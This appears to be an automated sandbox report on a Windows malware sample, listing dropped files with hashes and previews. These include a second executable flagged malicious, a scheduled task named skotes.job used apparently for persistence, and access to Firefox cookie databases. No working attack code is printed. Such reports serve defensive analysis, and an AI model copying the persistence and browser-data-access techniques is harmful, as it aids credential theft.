Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir8000_998475271\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsGHIJJEGDBF.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3203072
Entropy (8bit):	6.6633096603181174
Encrypted:	false
SSDEEP:	49152:UOA70JieeHKe6835VTcvvT2ZZO9ulVLqLD1cr7pjDzu+Ylhuu6UR3dvV1:3J78HTEaZM9uDQD67pK5Luu6kvV1
MD5:	CA3B6AADC4A481E7078CD2D0ABD40C73
SHA1:	EE97A73FC18F4837465AFBD988BA41B9EC689E69
SHA-256:	495F68DA6B61B305A34D5DF1B5BB0949A6EE92EC3C9954FE793206C1096A8257
SHA-512:	9F8564BB57D4F079BCF6931F5961C9D57A9243ED2D0AA68C0EB10CEE10314829ADE6C45EAE90E23C397F966B8284B0CBE2B0F349E4DDB58181297DE576AC1A08
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................0...........@.......................... 1.......1...@.................................W...k...........................$.0...............................0..................................................... . ............................@....rsrc...............................@....idata ............................@...lguoomhs.0......&.................@...cbsrczut......0.......0.............@....taggant.0....0.."....0.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsGHIJJEGDBF.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.4437258083713798
Encrypted:	false
SSDEEP:	6:VcUnXXUhXUEZ+lX1CGdKUe6tE9+AQy0lBpllNzt0:VcUH4Q1CGAFD9+nVBLvzt0
MD5:	CC3FB73F6013B200DDB682B7E185CA35
SHA1:	762934E0CB8EA73EAE5F7C673D9DC52025AB5666
SHA-256:	A28F40C0377CB0B2A58CE6D9EE478949390E4BF4817FC5EF9BEC97A7E0E54F4C
SHA-512:	369BFB52A474B644C9EA34BA18AB0EFC9964655C5A2510D257314EF4104B569ECE228B1AA15BB4B89F52C020ACE2041512C325C187DBB64CF083A00235CCA3A3
Malicious:	false
Preview:	.....9*..N.M..1.D..F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0...................@3P.........................

Chrome Cache Entry: 471

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4181)
Category:	downloaded
Size (bytes):	4186
Entropy (8bit):	5.834847199344574
Encrypted:	false
SSDEEP:	96:FHJ1lijFd66666ruDMbQ90UyZxN89CCE296vmfY9vJeTcZlVDvfQfffo:FVMFd66666ruDcVF8FE296vW8JeTYz
MD5:	6E317954F3EE612AF65CDF8C332C5947
SHA1:	058F6174DB727A807BDDF41B8F3B0CA13AB2AFCA
SHA-256:	2AEE54D936F604C5D471DB723A1AA3ADA5A126DD7D00781555450B17FD0843FB
SHA-512:	05F04F79B351061B52322C09458D5530D2D85AF44EE411F8EFC85600F7F3648F4F3211F51B3F888B147FB999ABC920C4415876780DE26C41C9208C8809D6BD08
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["military veterans day free meals","spotify 2024 wrapped","ashtanga yoga sharath jois","spacex launches cape canaveral","nba chet holmgren injury","tropical storm western caribbean","ripple xrp news","pitchfork music festival chicago"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"google:entityinfo":"Cg0vZy8xMWR4bTdyY210EhtSLiBTaGFyYXRoIEpvaXMg4oCUIFRlYWNoZXIyuxJkYXRhOmltYWdlL2pwZWc7YmFzZTY0LC85ai80QUFRU2taSlJnQUJBUUFBQVFBQkFBRC8yd0NFQUFrR0J3Z0hCZ2tJQndnS0Nna0xEUllQRFF3TURSc1VGUkFXSUIwaUlpQWRIeDhrS0RRc0pDWXhKeDhmTFQwdE1UVTNPam82SXlzL1JEODRRelE1T2pjQkNnb0tEUXdOR2c4UEdqY2xIeVUzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM04vL0FBQkVJQUVBQVFBTUJJZ0FDRVFFREVRSC94QUFiQUFBQ0F3RUJBUUFBQUFBQUFBQUFBQUFGQmdNRUJ3SUJBUC9FQURvUUFBSUJBZ1FGQVFRSEJnY0FBQUFBQUFFQ0F3UVJBQVVTSVFZVE1VRlJZUlFpZ1pFVkl6SnhvY0h3TTBLeH

Chrome Cache Entry: 472

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 473

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175125
Entropy (8bit):	5.554368182631651
Encrypted:	false
SSDEEP:	3072:fc3bXo9SLtl9UNXr+FqVBiFWGHj4LsBUnL7BB19HD4VHDgJElS5bOFYG4bhlth0j:fc33Ltl9UhtVBi8ij4LsBU7BB19HD+Db
MD5:	DE27580D28C778BDEB06F70676896EB2
SHA1:	B4110DAAA338236B713E45FC5C7D24D37DFF8832
SHA-256:	5446EE28C1524D6D01444EE57DC4649E45BE7EDF69FD8CB317D94E7E62AD0D38
SHA-512:	26A8E77282C167A66CEAC4C015AB56814A9F96D4A26E2BA5EFC8B9ECB1B14042A1E79FEBC553F81225ABA63BF7D0713AED7299936843786BCB1ABA4C5EFD2D86
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.Ed7fPZdAP88.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTsAQtU7Exa5LSjaPuQb-KRl1yfMjA"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.aj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var bj,cj,gj,jj,ij,ej,hj;bj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};cj=function(){_.Na()};gj=function(a,b){(_.dj\|\|(_.dj=new ej)).set(a,b);(_.fj\|\|(_.fj=new ej)).set(b,a)};jj=function(a){if(hj===void 0){const b=new ij([],{});hj=Array.prototype.concat.call([],b).length===1}hj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.kj=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Gc};._.lj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.mj=function(a,b){a===0&&(a=_.lj(a,b));return a\|1};_.nj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.oj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.rj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.kj(a,b,d);var k=h[_.v]\|0,l=!!(4&k);if(!l){k=_.mj(k,b);var m=h,p=b;const q=!!(

Chrome Cache Entry: 474

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133057
Entropy (8bit):	5.4349583407064035
Encrypted:	false
SSDEEP:	3072:fMkPdsBJT7bKwkztS6STFSz1nrmkSnXYK02i6o:f/dUW5c5Sz1nKkSnoK08o
MD5:	AEEAE400D56D5A75588E9A226EEBEE22
SHA1:	20AED8B0F823293FCBCC2F6DC941817ED8A82C1A
SHA-256:	1CD4586D5011A2CBAD6CC93676CFFF1D81B4CCB61C39E54C433454CC29F64095
SHA-512:	58E9A7604893EDC6DCC0A18CBE8D64C2B6FF2FE9AFD2F590928CEE71180BB92AC122DE257D6C4D63C1D7F831C98DF5F139C969BC006D8B1066F9AEEFAD832CC3
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 475

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 476

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 477

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946273941198969
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'795'072 bytes
MD5:	9ad1dc3f66828cd80dd118bd50ce909e
SHA1:	9f5e105cbb3c8b6cde813b03150a12bca2391560
SHA256:	39db6939e03c7cd0dc5d8dc9944c2b2c1720db9ae2749be170355021c072dd33
SHA512:	c8a69b549b2d83cd29b25544cb2cf5497227b4c9ebbb28c269e60127336df26d88b76984c37c46bfb1ef0bb8a2c8e0ac558f932b9c017ea0ab9521ce3e79be72
SSDEEP:	49152:PQAe6ZYP45NvOoWz7BJefHtK3MNPuJAjfIYDDE:5e6Zx7tWJJ+Nxt0ArbE
TLSH:	FD85337ABC62FE75C6B01C7BA6AF4F675FA05A0E00BC844D8D182C654A33B0AD508F75
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa8b000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F9AD4B6619Ah
cmovb ebx, dword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add eax, 0700000Ah
or al, byte ptr [eax]
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
sub byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
